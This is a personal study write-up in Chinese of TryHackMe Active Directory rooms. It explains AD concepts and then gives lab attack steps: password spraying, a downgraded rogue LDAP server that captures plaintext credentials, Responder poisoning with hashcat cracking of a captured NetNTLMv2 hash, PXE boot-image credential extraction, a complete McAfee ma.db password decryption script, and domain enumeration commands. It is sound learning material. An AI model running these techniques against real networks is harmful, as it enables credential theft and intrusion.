
Try Hack Me - Active Directory
概述
这是我在 TryHackMe 里面学习 Windows Active Directory 相关渗透技巧的记录,推荐当做一个官方之外的 WriteUp 来阅读,直接阅读你会看不懂的。说实话各个房间设计的都挺巧妙的,虽然也有很多 Bug,不过利用搜索引擎和官方的 Discord 群组能解决。
这一部分我耗时一个星期完成,大多都是我的学习记录和理解,希望里面的内容能帮到你们。
Active Directory Basics
这个房间主要是讲了一下 AD 的基础,还有实操了一下 GPO
Windows 域
Windows 域是受特定企业管理的一组用户和计算机。域的主要理念是将 Windows 计算机网络的常用组件集中管理到一个名为Active Directory ( AD )的存储库中。运行 Active Directory 服务的服务器称为**域控制器 ( DC )**。

配置 Windows 域的主要优点是:
- 集中身份管理:可以轻松从 Active Directory 配置整个网络的所有用户。
- 管理安全策略:您可以直接从 Active Directory 配置安全策略,并根据需要将其应用于网络上的用户和计算机。
Active Directory
Windows 域的核心是 AD DS (Active Directory Domain Service),这项服务就像一个目录,保存着网络上所有“对象”的信息。在 AD 支持的众多对象中,有用户、组、机器、打印机、共享等。让我们来看看其中的一些:
Users 用户
用户是一种被称为安全主体的对象。安全主体是一个通用的概念,它指的是任何可以被域认证身份(如通过密码),并被授予权限来访问和操作网络中各种资源(如文件、打印机)的实体。
用户可用于代表两类实体:
- People:用户通常代表组织中需要访问网络的人员,如员工。
- Service:您也可以定义用户供
IIS
或MSSQL
等服务使用。每个服务都需要用户才能运行,但服务用户与普通用户不同,他们只拥有运行特定服务所需的权限。
Machines 机器
机器是 Active Directory 中的另一种对象类型;每台加入 Active Directory 域的计算机都会创建一个机器对象。机器也被视为安全主体,与普通用户一样被分配一个账户。该账户在域内的权限有限。
机器账户本身是指定计算机上的本地管理员,除了计算机本身外,一般不允许任何人访问,但与其他账户一样,如果你有密码,就可以用它登录。
机器账户的密码会被自动轮换,它由120个随机字符串组成,机器账户是由机器名后加一个 $ 符号组成,比如 DC01
机器会有一个 DC01$
账户。
Security Groups 安全组
如果你熟悉 Windows,你可能知道可以定义用户组,将文件或其他资源的访问权限分配给整个组,而不是单个用户。这样可以更好地进行管理,因为你可以将用户添加到现有组中,他们将自动继承该组的所有权限。安全组也被视为安全负责人,因此可以拥有对网络资源的权限。
组的成员既可以是用户,也可以是机器。如果需要,组还可以包括其他组。
域中默认创建了几个组,可用于向用户授予特定权限。下面举例说明域中最重要的几个组:
Security Group | Description |
---|---|
Domain Admins | 该组的用户拥有整个域的管理权限。默认情况下,他们可以管理域上的任何计算机,包括 DC。 |
Server Operators | 该组中的用户可以管理域控制器。他们不能更改任何管理组的成员资格。 |
Backup Operators | 该组的用户可以访问任何文件,无需考虑其权限。它们用于执行计算机数据备份。 |
Account Operators | 该组中的用户可以创建或修改域中的其他账户。 |
Domain Users | Includes all existing user accounts in the domain. |
Domain Computers | Includes all existing computers in the domain. |
Domain Controllers | Includes all existing DCs on the domain. |
关于默认安全组的微软文档:https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups
Organizational Units 管理单元
要在 Active Directory 中配置用户、组或机器,我们需要登录域控制器,并从开始菜单中运行 “Active Directory Users and Computers”:
这将打开一个窗口,你可以看到域中存在的用户、计算机和组的层次结构。这些对象按组织单位 (Organizational Units OU) 组织,组织单位是一种容器对象,可以对用户和计算机进行分类。OUs 主要用于定义具有类似监控要求的用户集合。请记住,一个用户在同一时间只能属于一个 OU。
Windows 自动创建的 OU,包含以下内容:
- Builtin: 包含任何 Windows 主机都可使用的默认组。
- Computers: 任何加入网络的机器都会默认放在这里。如有需要,您可以移动它们。
- Domain Controllers: 包含网络中 DC 的默认 OU。
- Users: 适用于全域范围的默认用户和组。
- Managed Service Accounts: 保存 Windows 域中服务使用的账户。
Security Groups vs OUs
你可能想知道为什么我们既有组又有 OU。虽然两者都用于对用户和计算机进行分类,但它们的目的完全不同:
- OU 可以方便地将策略应用到用户和计算机,其中包括根据用户在企业中的特定角色对其进行特定配置。请记住,一个用户在同一时间只能是一个 OU 的成员,因为试图对一个用户应用两套不同的策略是没有意义的。
- 另一方面,安全组用于授予资源权限。例如,如果要允许某些用户访问共享文件夹或网络打印机,就需要使用组。一个用户可以是多个组的成员,这是对多个资源授予访问权限所必需的。
管理 AD
删除额外的 OU 和用户
需要关闭 Advanced Features -> Object -> Protect object from accidental deletion
委派 Delegation
在 AD 中可以做的一件好事就是让特定用户对某些 OU 享有一定的控制权。这个过程被称为委派,允许你授予用户在 OU 上执行高级任务的特定权限,而不需要域管理员介入。最常见的使用案例之一就是授予 IT 支持人员重置其他低权限用户密码的权限。
给 OU 委派,右键选择 Delegate Control -> Add -> Check Names -> 选择要委派的权限。
1
2
3
4
5
# 重置密码
Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose
# 强制用户在登录时改密码
Set-ADUser -ChangePasswordAtLogon $true -Identity sophie -Verbose
管理计算机
默认情况下,所有加入域的计算机(DC 除外)都会被放入名为“Computers”的容器中。
我们可以看到一些服务器、一些笔记本电脑和一些 PC,它们分别对应着我们网络中的用户。将所有设备都放在那里并不是最好的选择,因为您很可能希望针对服务器和普通用户日常使用的机器设置不同的策略。
虽然没有关于如何组织你的机器的黄金法则,但一个很好的起点是根据设备的用途进行分类。通常,你会看到设备至少分为以下三类:
1.工作站
工作站是 Active Directory 域中最常见的设备之一。域中的每个用户都可能登录到工作站。他们将使用该设备进行工作或进行正常的浏览活动。这些设备绝对不应该有特权用户登录。
2. 服务器
服务器是 Active Directory 域中第二常见的设备。服务器通常用于向用户或其他服务器提供服务。
3. 域控制器
域控制器是 Active Directory 域中第三常见的设备。域控制器允许您管理 Active Directory 域。这些设备通常被视为网络中最敏感的设备,因为它们包含环境中所有用户帐户的哈希密码。
Group Policies 组策略
到目前为止,我们只是为了方便而将用户和计算机组织到 OU 中,但这背后的主要想法是能够为每个 OU 单独部署不同的策略。这样,我们就可以根据用户所在的部门向其推送不同的配置和安全基线。
Windows 通过组策略对象(GPO)来管理此类策略。GPO 只是一组可应用于 OU 的设置集合。GPO 可以包含针对用户或计算机的策略,允许您为特定的机器和身份设置基线。
要配置 GPO,可以使用 “开始 ”菜单中的 “组策略管理 ”工具:
打开它后,首先看到的是之前定义的完整 OU 层次结构。要配置组策略,首先要在组策略对象下创建一个 GPO,然后将其链接到要应用策略的 OU。举例来说,你可以看到机器中已经存在一些 GPO:

可以在 Group Policy Objects 里面看到创建的 GPO,然后对应的链接到 GPO 的地方是有一个快捷方式一样的小图标。
让我们检查一下 “默认域策略”,看看 GPO 内部有什么。选择 GPO 时看到的第一个选项卡会显示其范围,即 GPO 在 AD 中的链接位置。对于当前策略,我们可以看到它只链接到了 thm.local 域:

如您所见,您还可以对 GPO 应用安全过滤,使其只应用于 OU 下的特定用户/计算机。默认情况下,它们将应用于 “已验证用户 ”组,其中包括所有用户/计算机。
设置选项卡包括 GPO 的实际内容,让我们知道它适用于哪些特定配置。如前所述,每个 GPO 都有只适用于计算机的配置和只适用于用户的配置。在本例中,默认域策略只包含计算机配置:

后面就是进 GPO 编辑器改了,跟我们 gpedit.msc
一样的,不过这个会应用到应用了 GPO 的 OU 上。但是 GPO 不能直接应用在组上,但可以通过安全筛选来让它只对某个组生效。
分发 GPO
GPO 通过名为 SYSVOL 的网络共享分发到网络,该共享存储在 DC 中。域中的所有用户通常都可以通过网络访问该共享,以定期同步他们的 GPO。SYSVOL 共享默认指向网络中每个 DC 上的 C:\Windows\SYSVOL\sysvol\ 目录。
一旦对任何 GPO 进行了更改,计算机可能需要长达 2 个小时的时间才能跟上。如果要强制任何特定计算机立即同步其 GPO,可以在所需计算机上运行以下命令:
1
gpupdate /force
认证方式
使用 Windows 域时,所有凭据都存储在域控制器中。每当用户尝试使用域凭据对服务进行身份验证时,服务都需要请求域控制器验证凭据是否正确。在 Windows 域中,有两种协议可用于网络身份验证:
- Kerberos 协议: 任何最新版本的 Windows 都会使用。这是任何新版域的默认协议。
- NetNTLM:出于兼容性目的而保留的传统身份验证协议。
虽然 NetNTLM 应被视为过时协议,但大多数网络都会启用这两种协议。让我们深入了解一下这两种协议的工作原理。
Kerberos Authentication
- 用户携带用户名和用户自己的 Hash 加密过的时间戳向 KDC 请求 TGT
- KDC 回复一个 TGT,里面有一份 Session Key,不过是用 krbtgt 账户 Hash 加密过的。和一个使用用户 Hash 加密的 Session Key 返回给用户
- 当用户想请求网络上的一个服务时,会向 KDC 请求一个 TGS。发送过去的东西有
- 用 Session Key 加密过的用户名和时间戳
- 上一步 KDC 返回回来的 TGT
- SPN(服务主体名称)
- 然后 KDC 回复一个用服务所有者账户 Hash 加密的 TGS,这个 TGS 里面有 Svc Session Key。和一个用 Session Key 加密的 Svc Session Key。
- 当用户请求一个服务时,会发送用 Svc Session Key 加密过的用户名和时间戳。还有包含 Svc Session Key 的 TGS。
- TGS 里面是有 Svc Session Key 的,然后服务器可以用它的 Hash 去解密 TGS,拿到 Svc Session Key,就能解密用户的数据包了
NetNTLM Authentication
NetNTLM 采用挑战-响应机制工作。整个过程如下:

- 客户端向想要访问的服务器发送验证请求。
- 服务器会生成一个随机数,并将其作为挑战发送给客户端。
- 客户端将其 NTLM 密码哈希值与挑战(及其他已知数据)相结合,生成对挑战的响应,并将其发送回服务器进行验证。
- 服务器将挑战和响应转发给域控制器进行验证。
- 域控制器使用挑战重新计算响应,并将其与客户端发送的原始响应进行比较。如果两者匹配,则客户端通过验证;否则,拒绝访问。身份验证结果将发回服务器。
- 服务器将验证结果转发给客户端。
请注意,为了安全起见,用户密码(或哈希值)绝不会通过网络传输。
注意:所述过程适用于使用域帐户的情况。如果使用的是本地账户,服务器可自行验证对挑战的响应,而无需与域控制器交互,因为服务器的 SAM 上本地存储有密码哈希值。
Trees, Forests and Trusts
随着公司的发展,其网络也在不断发展。开始时,公司拥有一个域名就足够了,但随着时间的推移,一些额外的需求可能会促使你拥有多个域名。
树 Trees
例如,设想一下,您的公司突然扩展到一个新的国家。新的国家有不同的法律法规,要求您更新 GPO 以符合规定。此外,您现在在两个国家都有 IT 人员,每个 IT 团队都需要在不干扰其他团队的情况下管理与每个国家相对应的资源。虽然您可以创建复杂的 OU 结构并使用授权来实现这一目标,但庞大的 AD 结构可能难以管理,而且容易出现人为错误。
幸运的是,Active Directory 支持整合多个域,这样您就可以将网络划分为可以独立管理的单元。如果您有两个共享相同名称空间的域,那么这两个域可以连接成一棵树。
如果我们的 thm.local 域被分为英国和美国分支的两个子域,则可以建立一个树状结构,其中包括一个根域 thm.local,以及名为 uk.thm.local 和 us.thm.local 的两个子域,每个子域都有自己的 AD、计算机和用户:

这种分区结构可以让我们更好地控制谁可以访问域中的哪些内容。英国的 IT 人员将有自己的 DC,只管理英国的资源。例如,英国用户将无法管理美国用户。这样,每个分支机构的域管理员就可以完全控制各自的 DC,但不能控制其他分支机构的 DC。还可以为树状结构中的每个域独立配置策略。
在谈及树和林时,需要引入一个新的安全组。企业管理员组将授予用户对企业所有域的管理权限。每个域仍有域管理员,他们对自己的单个域拥有管理员权限,而企业管理员则可以控制企业中的一切。
森林 Forests
您管理的域也可以配置在不同的命名空间中。假设贵公司不断发展壮大,最终收购了另一家名为 MHT Inc. 两家公司合并后,每家公司可能会有不同的域树,分别由各自的 IT 部门管理。将多个具有不同命名空间的域树合并到同一网络中称为森林。

信任关系 Trust Relationships
将多个域以树和森林的形式组织起来,可以在管理和资源方面形成一个良好的分隔网络。但在某些情况下,THM UK 的用户可能需要访问 MHT ASIA 服务器中的某个共享文件。为此,以树和森林形式排列的域通过信任关系连接在一起。
简单地说,域之间的信任关系允许您授权域 THM UK 的用户访问域 MHT EU 的资源。
可以建立的最简单的信任关系是单向信任关系。在单向信任关系中,如果网域 AAA 信任网域 BBB,这就意味着可以授权 BBB 上的用户访问 AAA 上的资源:

单向信任关系的方向与访问方向相反。
也可以建立双向信任关系,允许两个域相互授权对方的用户。默认情况下,在树或森林下连接多个域将形成双向信任关系。
需要注意的是,域之间建立信任关系并不会自动授予访问其他域上所有资源的权限。一旦建立了信任关系,你就有机会授权不同域的用户,但授权与否取决于你。
Breaching Active Directory
首先是配置网络,说实话有点麻烦,要下官方他提供的那个专门用于 AD 域的配置文件,还要把系统的 DNS 覆盖掉。
1
2
3
4
5
sudo vim /etc/resolv.conf
# 锁定和解锁文件
chattr +i /etc/resolv.conf
chattr -i /etc/resolv.conf
其他的倒是没啥了,不过发现 223.5.5.5 在我网络环境下面死掉了。
并不是,是他自己死了:https://www.v2ex.com/t/1149042
密码喷洒
这一节提了一下 NTLM 和 NetNTLM 概念,后者是接收到用户凭据之后,发送到 DC 服务器去认证,认证不在这个机器上进行而是在 DC 上做的。
密码喷洒意思是:用一个已知的密码去尝试其他的用户登录,用这种方式能避免被发现,如果爆破的话动静很大。
1
2
3
4
python3 ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/
# Python 用这条命令安装缺的库
pip install requests_ntlm --break-system-packages
LDAP 回传攻击
这一节就是通过模拟 LDAP 服务器,强制降级认证方式然后从通信上截取明文密码,我觉得这里应该有开源的轮子。
题目是给了一个打印机服务器,密码不是明文存储的,但是我们可以通过修改他的服务器地址去截获他。
然后我们要搭建一个 LDAP 服务器,这里用的是 SLAPD
。
1
2
3
4
# 安装
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
# 配置
sudo dpkg-reconfigure -p low slapd
然后要让认证降级成明文的,用到这样一个配置文件。
1
2
3
4
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
1
2
3
4
5
6
7
8
9
10
11
# 应用配置文件
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
# 测试配置文件
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
# dn:
# supportedSASLMechanisms: PLAIN
# supportedSASLMechanisms: LOGIN
# 抓包
sudo tcpdump -SX -i breachad tcp port 389
认证中继
这一节讲述的是,在 Windows 机器的网络下面,很多服务会互相通信,允许用户使用这些网络中提供的服务。而这些服务会用身份验证方法去验证身份,这就让我们有了可乘之机,可以去抓取这些数据包去破解。
Server Message Block (SMB)
在早期版本的 SMB 中安全性不足,有很多漏洞和利用点,尽管漏洞在新版中解决了,但是因为旧系统不支持这些版本或者其他原因,导致没有强制升级到最新版。
- 抓 NTLM Challenge 包,离线破解,但是比直接爆破 NTLM hash 慢很多
- 可以自建服务器做 MTIM 攻击,截获认证成功的 session
LLMNR, NBT-NS, and WPAD
在现实局域网上会有很多 NetNTLM challenge,有时因为过期的 DNS 记录,这些数据包可能会发到你伪造的服务器上。
文章介绍了一个 Responder 工具,他可以去实现 MITM。
在真实的局域网(LAN)中,Responder 会尝试投毒它检测到的任何链路本地多播名称解析、NetBIOS 名称服务 和 Web 代理自动发现请求。
在大型 Windows 网络中,这些协议能让主机去自己发现主机,而不是去请求 DNS 服务器,这些协议就类似于 DNS 一样的,不过他的行为更像 ARP。主机可以首先尝试通过发送 LLMNR (Link-Local Multicast Name Resolution) 请求,并查看是否有任何主机响应,来确定它们要查找的主机是否在同一个本地网络上。 NBT-NS (NetBIOS Name Service) 是 LLMNR 的前身协议,而 WPAD (Web Proxy Auto-Discovery) 请求是为了尝试查找未来 HTTP(s) 连接的代理服务器而发出的。
由于这些协议依赖于在本地网络中广播的请求,所以我们的恶意设备也能收到这些请求。通常,这些请求因为不是发给我们的主机,就会被简单地丢弃。然而,Responder 会积极监听这些请求,并发送伪造的响应,告诉发起请求的主机:我们的 IP 地址就是它想要连接的主机名对应的地址。通过投毒这些请求,Responder 试图强制客户端连接到我们的 攻击机。与此同时,它还会启动并托管多个服务器,比如 SMB、HTTP、SQL 等,以便捕获这些连接请求并强制进行身份验证,然后我们能直接抓到凭据或者是 hash。
拦截 NetNTLM
因为 Responder 是通过 race condition(比服务器更快响应给客户端)去给连接投毒的,这样我们才能拦截到这个连接。
还要小心 Responder 会干扰到正常业务,或者被检测到。
1
2
3
4
sudo python responder.py -I breachad
# 记得关掉前面开的 SLAPD
sudo service slapd stop
然后过一会就抓到 Hash 了,直接丢进 Hashcat 爆破。5600 是 NetNTLMv2,不同的 Hash 种类可以在这里看。
1
echo "svcFileCopy::ZA:d1fbc574572a06d8:AC7426941099D79E45ED19E4BBEB34BC:010100000000000000AB4DF0E601DC01817050186B6BCBB900000000020008004B0049004D00560001001E00570049004E002D004C00550038004800480044005900460032003200310004003400570049004E002D004C0055003800480048004400590046003200320031002E004B0049004D0056002E004C004F00430041004C00030014004B0049004D0056002E004C004F00430041004C00050014004B0049004D0056002E004C004F00430041004C000700080000AB4DF0E601DC01060004000200000008003000300000000000000000000000002000003EA8D95F89C068EA81D77546006E5A06B91A2AA73F678D23068A0A89689CD7400A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00350030002E00310038002E0037000000000000000000" > hash.txt && hashcat -m 5600 -a 0 hash.txt ./passwordlist-1647876320267.txt --force
SMB Relay 中继
如果 SMB 开了签名就寄了,可以通过 SMB 中继把认证成功的截获,然后以这个用户的身份去访问那些文件。
推荐房间:https://tryhackme.com/room/hololive
看了一下,这房间覆盖面好广,之后再来探索吧。
微软部署工具包
介绍了一下 Microsoft Deployment Toolkit (MDT) 和 Microsoft’s System Center Configuration Manager (SCCM),MDT 是集成在 SCCM 里面的,这俩是自动化安装系统/打补丁工具,但是没有说具体实现,介绍一下思路。
从镜像文件中提取凭据
提了一下 MDT 可以用来管理 PXE 启动,题目的意思就是我们可以拿到他的配置文件,然后找到那个安装镜像,里面会存着用于配置系统的账户和密码,BCD 文件可以用 PowerPXE 提取里面的信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
# 取回 bcd 文件
tftp -i 10.200.20.202 GET "\Tmp\x64{0620E466-5D23-4890-A8C2-3E89E9A4E777}.bcd" conf.bcd
# 进入 PowerShell 环境
powershell -executionpolicy bypass
# 载入 PowerShell 脚本
Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
\Boot\x64\Images\LiteTouchPE_x64.wim
这里找到了一个启动镜像文件,下载下来然后用 PowerPXE 脚本提取信息,或者可以手动解包镜像之后找到 bootstrap.ini
查看。
1
2
3
4
5
6
7
8
tftp -i 10.200.20.202 GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.wim -v
Get-FindCredentials -WimFile pxeboot.wim
>> Open pxeboot.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = <account>
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = <password>
关于 PXE 提取信息相关可以看这个:https://www.riskinsight-wavestone.com/en/2020/01/taking-over-windows-workstations-pxe-laps/
配置文件
这个也是老生常谈了,也是信息收集技能的一环,文章提到了以下几个地方可能会存着凭据。
- Web 应用程序配置文件
- 服务配置文件
- 注册表
- 集中部署的应用程序
- 浏览器
另外也可以用这个自动化工具 Seatbelt 去提取。
从迈克菲杀毒中提取凭据
McAfee 在安装过程中,会将用于连接回其管理服务器的凭据嵌入在一个名为 ma.db
的文件中。拥有本地主机访问权限后,可以检索并读取这个数据库文件,从而恢复相关的 AD 服务账户。
1
2
3
4
5
6
7
cd C:\ProgramData\McAfee\Agent\DB
dir
# 通过 SCP 把文件传到本地
scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .
# 打开迈克菲的 SQLite 数据库
sqlitebrowser ma.db
打开 AGENT_REPOSITORIES 表,提取加密后的密码,用下面这个脚本解密。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python
# Info:
# McAfee Sitelist.xml password decryption tool
# Jerome Nokin (@funoverip) - Feb 2016
# More info on https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/
#
# Quick howto:
# Search for the XML element <Password Encrypted="1">...</Password>,
# and paste the content as argument.
#
###########################################################################
import sys
import base64
# 原脚本是用的 Cryptodome
# https://pypi.org/project/pycryptodome/
# 从这里看的话,pycryptodome 包安装之后是在 Crypto 底下的
from Crypto.Cipher import DES3
from Crypto.Hash import SHA
# hardcoded XOR key
KEY = bytearray.fromhex("12150F10111C1A060A1F1B1817160519").decode("utf-8")
def sitelist_xor(xs):
result = bytearray(0)
for i, c in enumerate(xs):
cb = c.to_bytes(1, byteorder="big")
result += (ord(cb) ^ ord(KEY[i%16])).to_bytes(1, byteorder="big")
return result
def des3_ecb_decrypt(data):
# hardcoded 3DES key
key = SHA.new(b'<!@#$%^>').digest() + bytearray(4)
# decrypt
des3 = DES3.new(key, DES3.MODE_ECB)
data += bytearray(64 - (len(data) % 64))
decrypted = des3.decrypt(data)
return decrypted[0:decrypted.find(0)] or "<empty>"
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: %s <base64 passwd>" % sys.argv[0])
print("Example: %s 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='" % sys.argv[0])
sys.exit(0)
# read arg
encrypted_password = base64.b64decode(bytes(sys.argv[1], "utf-8"))
# decrypt
passwdXOR = sitelist_xor(encrypted_password)
password = des3_ecb_decrypt(passwdXOR).decode("utf-8")
# print out
print("Crypted password : %s" % sys.argv[1])
print("Decrypted password : %s" % password)
sys.exit(0)
python 这个环境不太明白,我在 Kali 中安装包老是提示要我加 --break-package-system
看了这个帖子 Is it bad to use pip install –break-package-system? 发现确实不行,系统有一部分是依赖那些包的,如果升级或者安装把包搞挂了,系统也炸了,解决办法是用虚拟环境来解决,不太懂怎么用,之后去学学。
1
2
3
4
# 如果提示缺库,安装这个
py -m pip install pycryptodome
py mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
DLC - Python 虚拟环境
虚拟环境(Virtual Environment) 是一个独立、隔离的 Python 运行环境。它的核心思想是:
- 隔离性: 每个虚拟环境都有自己独立的 Python 解释器、
pip
工具和site-packages
目录。 - 互不干扰: 当你在一个虚拟环境中安装包时,这些包只会安装到这个虚拟环境的
site-packages
目录中,不会影响到系统全局的 Python 环境。 - 项目专用: 你可以为每个 Python 项目创建一个独立的虚拟环境,这样不同项目之间所需的依赖库版本就不会冲突。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 建立项目目录
mkdir my_project
cd my_project
# 创建虚拟环境
# 这个命令会在当前目录下创建一个名为 YOUR_venv_NAME 的子目录
python3 -m venv YOUR_venv_NAME
# 激活虚拟环境
source venv/bin/activate
# 安装依赖,会安装到虚拟环境中,而不会安装到系统全局的 Python
pip install requests_ntlm
pip install pycryptodome
总结
AD 的攻击面非常大,可以从以下几个方面去缓解:
- 培训用户意识
- 控制 AD 服务暴露面
- 不要暴露在外网,仅在内网可访问并且启用 MFA 的 VPN
- 启用 NAC 网络访问控制
- 强制 SMB 签名
- 遵守最小权限原则
Enumerating Active Directory
这一个房间其实是讲信息收集的,从很多个面,很多种方法去收集信息
根据房间去设置好网卡的 DNS 后,去获取一组凭据。
- rachael.atkinson
- Password: Zjqf3489
1
ssh za.tryhackme.com\\rachael.atkinson@thmjmp1.za.tryhackme.com
凭据注入
这里用到的是 Runas.exe /netonly
,刚开始不明白他的作用是什么,以为是以域上的用户的权限去执行程序的,实际上是用提供的域和凭据注入一个临时的应用程序,之后执行的网络操作都用的这个凭据去执行。
1
2
3
runas.exe /netonly /user:za.tryhackme.com\rachael.atkinson cmd.exe
dir \\za.tryhackme.com\SYSVOL\

可以看到标题栏有 作为 xxxx 运行 的提示。
DNS 解析不到域控
实际上是一个 Windows 下的优先级的问题,因为我外网网卡的跃点数比 OpenVPN 网卡的接口跃点数大,所以 DNS 优先用外置网卡的 DNS 去查询,当然查不到结果。通过调小 OpenVPN 的网卡的跃点数解决。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# NS 手动查询 DNS
nslookup za.tryhackme.com
服务器: 10.1.2.1
Address: 10.1.2.1
*** 10.1.2.1 找不到 za.tryhackme.com: Non-existent domain
# 查看系统内 DNS
netsh interface ip show dns
# 查看接口跃点数
netsh interface ipv4 show interface
Idx Met MTU 状态 名称
--- ---------- ---------- ------------ ---------------------------
13 25 1500 connected 本地连接 2
7 20 1500 connected 以太网 7
# 调小跃点数后查询 DNS 解析
nslookup thmjmp1.za.tryhackme.com
DNS request timed out.
timeout was 2 seconds.
服务器: UnKnown
Address: 10.200.68.101
名称: thmjmp1.za.tryhackme.com
Address: 10.200.68.248
IP 和 域名
- 当使用域名(hostname)访问时,首选的认证协议是 Kerberos。这是因为 Kerberos 的设计就是基于服务主体名称(Service Principal Name, SPN),它需要主机名才能正常工作。
- 当使用 IP 地址访问时,Kerberos 认证会失败,因为它无法为 IP 地址构建有效的 SPN。在这种情况下,Windows 会回退(fall back) 到 NTLM 认证。
Enumeration 枚举
这一块就介绍了几种方式去收集 AD 中相关信息的方法。
MMC
即 Microsoft Management Console,如果是远程管理的话,要装一个 RAST 的组件。
如果是本地访问远端的域,不能直接在 runas 好的 cmd 中运行,要重新开始。
1
2
# 本地运行
runas.exe /netonly /user:za.tryhackme.com\rachael.atkinson mmc
然后添加管理单元,把三个 AD 域的都勾上,再返回到主页右键加好的那些单元,都把域名指定好。
优点
- 全面的视图:图形用户界面提供了一个极好的方法来全面了解活动目录(AD)环境。
- 快速搜索:可以对不同的活动目录对象进行快速搜索。
- 直接查看更新:它提供了一种直接的方法来查看特定活动目录对象的更新。
- 直接修改:如果我们有足够的权限,可以直接更新现有的活动目录对象或添加新的对象。
缺点
- 需要远程桌面访问:图形用户界面需要在执行它的机器上进行远程桌面协议(RDP)访问。
- 无法广域收集:虽然搜索单个对象很快,但无法进行全活动目录范围的属性或特征收集。
CMD
注意⚠️:这个不能用 runas 来远程操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 显示域中所有用户
net user /domain
# 查看某个用户的信息
net user zoe.marshall /domain
# 查看域中所有的组
net group /domain
# 查看组中的成员
net group "Tier 1 Admins" /domain
# 查看密码策略
net accounts /domain
密码策略可以帮助我们更好地猜测在攻击中应该使用哪些单个密码,密码错误多少次锁定账户,又或者是锁定账户的时间。
优点
- 无需额外工具:不需要安装任何额外的或外部工具,并且这些简单的命令通常不会被蓝队(Blue team,指安全防御团队)监控到。
- 无需图形界面:我们不需要图形用户界面(GUI)就可以进行这种枚举。
- 支持宏语言:VBScript 和其他常用于钓鱼攻击(phishing payloads)的宏语言原生支持这些命令,因此可以在制作更具体的恶意负载之前,用来枚举关于活动目录(AD)域的初始信息。
缺点
- 需要加入域:
net
命令必须在已加入域(domain-joined)的机器上执行。如果机器没有加入域,它将默认显示 WORKGROUP(工作组)域的信息。 - 信息不完整:
net
命令可能无法显示所有信息。例如,如果一个用户是超过十个群组的成员,输出结果中将不会显示所有这些群组。
PowerShell
PowerShell 是 cmd 的升级版,最大的区别是提供了 cmdlets(类似方法调用),关于 AD 的 cmdlets 可以参考这个:https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 获取用户的所有属性
# -Properties * 是展示出所有的属性,另外可以手动指定
Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties *
# 可以通过这种方法去过滤出需要的用户和要的信息
Get-ADUser -Filter 'Name -like "*stevens"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A
# 查看所有 AD 组
Get-ADGroup -Filter * -Server za.tryhackme.com
# 查看 Administrators 组信息
Get-ADGroup -Identity Administrators -Server za.tryhackme.com
# 查看 AD 组成员
Get-ADGroupMember -Identity Administrators -Server za.tryhackme.com
# 获取 AD 对象
$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server za.tryhackme.com
# 找到错误密码次数大于 0 的用户
Get-ADObject -Filter 'badPwdCount -gt 0' -Server za.tryhackme.com
# 获取 AD 域的信息
Get-ADDomain -Server za.tryhackme.com
# 给域内用户改密码
Set-ADAccountPassword -Identity gordon.stevens -Server za.tryhackme.com -OldPassword (ConvertTo-SecureString -AsPlaintext "old" -force) -NewPassword (ConvertTo-SecureString -AsPlainText "new" -Force)
优点
- 信息量更大:PowerShell 的 cmdlet(命令行工具)可以比命令提示符中的
net
命令枚举出多得多的信息。 - 支持远程执行:即使在未加入域的机器上,我们也可以通过
runas
命令来指定服务器和域,从而执行这些命令。 - 自定义 cmdlet:我们可以创建自己的 cmdlet 来枚举特定的信息。
- 直接修改对象:我们可以使用 AD-RSAT cmdlet 直接修改 AD 对象,例如重置密码或将用户添加到特定组。
缺点
- 更容易被监控:与命令提示符相比,PowerShell 通常受到蓝队(安全防御团队)更多的监控。
- 需要安装工具:我们必须安装 AD-RSAT 工具,或者使用其他可能更容易被检测到的脚本来进行 PowerShell 枚举。
Bloodhound
一种图形化分析工具,能图形化的分析域内的信息。然后要用到一个 Sharphound 工具,他是用来收集信息的。
1
Sharphound.exe --CollectionMethods All --Domain za.tryhackme.com --ExcludeDCs
- CollectionMethods:第一次运行之后, 如果只要收集 Session,只运行 Session 即可。也就是提取用户当前登录机器的会话
- Domain:指定要收集的域
